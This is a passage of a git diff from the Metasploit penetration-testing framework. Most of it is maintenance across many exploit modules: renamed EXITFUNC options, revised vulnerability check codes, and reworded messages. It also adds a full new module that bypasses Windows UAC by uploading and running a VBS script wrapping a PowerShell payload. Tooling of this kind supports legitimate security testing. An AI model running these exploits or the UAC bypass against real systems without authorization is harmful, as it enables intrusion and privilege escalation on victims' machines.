b/modules/exploits/unix/webapp/xoda_file_upload.rb index 45e7ecf389..410ba14ceb 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 056fbcadd4..e9a1aced93 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index 89655a35c9..28762797c1 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'thread', 'URIPATH' => "/shakeitoff.mp3" }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 50e7a92819..550395255f 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index d50fcc1ad8..469f8c32f6 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index 53fa511a44..dbc11ff69b 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 3fbb8e2519..74706eabcb 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 2c6ac3d718..c784f2aace 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index d6a3a68beb..81a9d67736 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index 17dac30a57..396176bf0d 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 179ccd7920..9cce4f1ed1 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb index ca3e15e01a..eb1382c2c9 100644 --- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index fbf0c7c8f3..5e22d75d04 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index daaee920d9..f63cae9376 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'SaveRegisters' => [ 'ESP' ], 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index 2fda926aee..d1d7450d78 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb index 197a28bafe..29df9fcdd0 100644 --- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 8ed9744322..55699fcecf 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index c9c1882901..7af09b6327 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb index c236b0c90d..5565d239b8 100644 --- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 2daf558aee..be1f865651 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index d580f94d13..3715060fab 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => 'thread', 'PrependMigrate' => true }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index b8b825db62..6a260b10df 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index daa86cbb38..861ac3d898 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index 69b1b8775e..c3012abef6 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 169f4e40e6..476b0ed1ae 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh', + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb index d216229734..736e5311c5 100644 --- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb +++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 697aefa878..a051ee3057 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 915370b03d..772d2e31aa 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 696c54499b..936bfb0e44 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index e2588be454..d63fe48e99 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index d69045fa99..e0e5d015cd 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', + 'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', 'Description' => %q{ A vulnerability within Microsoft Bluetooth Personal Area Networking module, BthPan.sys, can allow an attacker to inject memory controlled by the attacker @@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local ], 'References' => [ + [ 'MSB', 'MS14-062' ], [ 'CVE', '2014-4971' ], [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ], [ 'OSVDB', '109387' ] @@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local session.railgun.kernel32.CloseHandle(handle) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end def exploit diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 5b4a4ed76e..8cfb23418c 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good 'UAC is set to Default' diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index d08f0655f1..8767b28f44 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb new file mode 100644 index 0000000000..b560da405e --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::FileDropper + include Exploit::Powershell + include Post::File + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the missing .manifest on the script host + cscript/wscript.exe binaries. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Vozzie', + 'Ben Campbell' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html', + 'URL', 'https://github.com/Vozzie/uacscript' + ] + ], + 'DisclosureDate'=> 'Aug 22 2015' + )) + + end + + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! + + # get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." + ) + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs" + + upload_vbs(vbs_filepath) + + cmd_exec("cscript.exe //B #{vbs_filepath}") + end + + def check_permissions! + # Check if you are an admin + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end + + def upload_vbs(payload_filepath) + vbs = File.read(File.join(Msf::Config.data_directory, + 'exploits', + 'scripthost_uac_bypass', + 'bypass.vbs')) + + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true) + + vbs.gsub!('COMMAND', command) + print_status('Uploading the Payload VBS to the filesystem...') + begin + vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..") + write_file(payload_filepath, vbs) + register_file_for_cleanup(payload_filepath) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}") + end + end + + def validate_environment! + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + + winver = sysinfo['OS'] + + case winver + when /Windows (7|2008)/ + print_good("#{winver} may be vulnerable.") + else + fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + end + + if is_uac_enabled? + print_status('UAC is Enabled, checking level...') + else + unless is_in_admin_group? + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + end +end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 6cfeb956ae..7278e5aee6 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -65,12 +65,12 @@ class Metasploit3 < Msf::Exploit::Local srv_info = service_info(service) if srv_info.nil? - print_warning("Unable to enumerate services.") + vprint_warning("Unable to enumerate services.") return false end if srv_info && srv_info[:display].empty? - print_warning("Service #{service} does not exist.") + vprint_warning("Service #{service} does not exist.") return false else return true diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index ff4a2a4cf5..35e5fe61b1 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local svc = service_info('SUService') if svc && svc[:display] =~ /System Update/ vprint_good("Found service '#{svc[:display]}'") - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 3826e7c15f..024fb55adc 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears when /windows xp/i - print_error('Unsupported version of Windows XP detected') + vprint_error('Unsupported version of Windows XP detected') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index 0c5bbc29bd..8145b65278 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end def exploit diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb index 3a915f1632..8d647f7a8d 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -73,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Local case build when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18176 + return Exploit::CheckCode::Appears if revision < 18176 else - return Exploit::CheckCode::Vulnerable if revision < 22348 + return Exploit::CheckCode::Appears if revision < 22348 end end return Exploit::CheckCode::Unknown diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 6d98b67a24..7095e49f9e 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Local def check os = sysinfo["OS"] if (os =~ /windows/i) == nil - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" @@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Local case build when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 - return Exploit::CheckCode::Vulnerable if revision <= 18126 + return Exploit::CheckCode::Appears if revision <= 18126 when 9200 return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index da8978c455..a4d5236714 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears end def get_net_version diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 7faab42aa7..2908ef555f 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -77,7 +77,8 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo["OS"] if os !~ /windows/i - return Exploit::CheckCode::Unknown + # Non-Windows systems are definitely not affected. + return Exploit::CheckCode::Safe end if sysinfo["Architecture"] =~ /(wow|x)64/i @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe if build == 9200 return Exploit::CheckCode::Safe if build == 9600 - return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) + return Exploit::CheckCode::Appears if [2600, 3790, 7600, 7601].include?(build) return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index e2285ff4de..d1430d6bab 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 3ec8721cdb..afa42a0dcd 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe if build > 7601 - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end def exploit diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index d7866b5d28..a0269a72b3 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -121,9 +121,7 @@ class Metasploit3 < Msf::Exploit::Local def check if sysinfo['OS'] =~ /Windows 8/ - # Still an 0day, but since this check doesn't actually trigger the vulnerability - # so we should only flag this as CheckCode::Appears - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 8a98ee1b80..9bf0d99c53 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -82,39 +82,39 @@ class Metasploit3 < Msf::Exploit::Local major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") - #WinXP x86 - 5.1.2600.6404 - #WinXP/2003 5.2.3790.5174 - #WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132 - #Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348 - #Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732 + # WinXP x86 - 5.1.2600.6404 + # WinXP/2003 5.2.3790.5174 + # WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132 + # Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348 + # Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732 case build when 2600 - return Exploit::CheckCode::Vulnerable if revision < 6404 + return Exploit::CheckCode::Appears if revision < 6404 when 3790 - return Exploit::CheckCode::Vulnerable if revision < 5174 + return Exploit::CheckCode::Appears if revision < 5174 when 6000 